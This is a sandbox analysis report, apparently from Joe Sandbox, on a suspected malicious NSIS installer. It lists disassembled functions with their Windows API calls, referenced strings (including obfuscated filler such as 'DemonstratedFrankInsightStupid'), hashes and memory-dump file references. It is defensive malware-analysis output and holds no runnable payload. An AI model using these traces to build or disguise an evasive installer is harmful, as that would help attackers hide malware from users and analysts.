Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Call: %d, xrefs: 0040165A
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
detailprint: %s, xrefs: 00401679
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602
Rename: %s, xrefs: 004018F8
Aborting: "%s", xrefs: 0040161D
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Sleep(%d), xrefs: 0040169D
BringToFront, xrefs: 004016BD
CreateDirectory: "%s" (%d), xrefs: 004017BF
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename on reboot: %s, xrefs: 00401943
Rename failed: %s, xrefs: 0040194B
SetFileAttributes: "%s":%08X, xrefs: 0040177B

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.DEFAULT\Control Panel\International, xrefs: 00405999
_Nb, xrefs: 00405AD1
@rD, xrefs: 00405965
B%F, xrefs: 00405A1F
.exe, xrefs: 00405A3D
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEdit, xrefs: 00405BC4
RichEd20, xrefs: 00405B9D
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEd32, xrefs: 00405BA8
@%F, xrefs: 004059F6

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,DemonstratedFrankInsightStupid,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,DemonstratedFrankInsightStupid,DemonstratedFrankInsightStupid,00000000,00000000,DemonstratedFrankInsightStupid,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error creating "%s", xrefs: 00401AF0
File: error, user retry, xrefs: 00401B40
File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53
DemonstratedFrankInsightStupid, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: wrote %d to "%s", xrefs: 00401BD0

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: DemonstratedFrankInsightStupid$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-955557517
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7
Inst, xrefs: 0040366C

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 004033ED
Set Charging=PzBWent Utilities Closing Ep IPX Ribbon Newark Destiny Distribution AoVendor Hoping Ensemble Lan Qld Hardcore Running gCBCure crfWSamoa Calm Investigate Modems Rt Pulse NKOpposition Collapse Mhz Vegetarian Alt Generated Vinyl Customise, xrefs: 004033A9
... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Charging=PzBWent Utilities Closing Ep IPX Ribbon Newark Destiny Distribution AoVendor Hoping Ensemble Lan Qld Hardcore Running gCBCure crfWSamoa Calm Investigate Modems Rt Pulse NKOpposition Collapse Mhz Vegetarian Alt Generated Vinyl Customise$X1C$X1C
API String ID: 651206458-2086308969
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(005EF168), ref: 00402387

Strings

DemonstratedFrankInsightStupid, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: DemonstratedFrankInsightStupid$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-2907357243
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
DemonstratedFrankInsightStupid, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$DemonstratedFrankInsightStupid$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1612343036
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
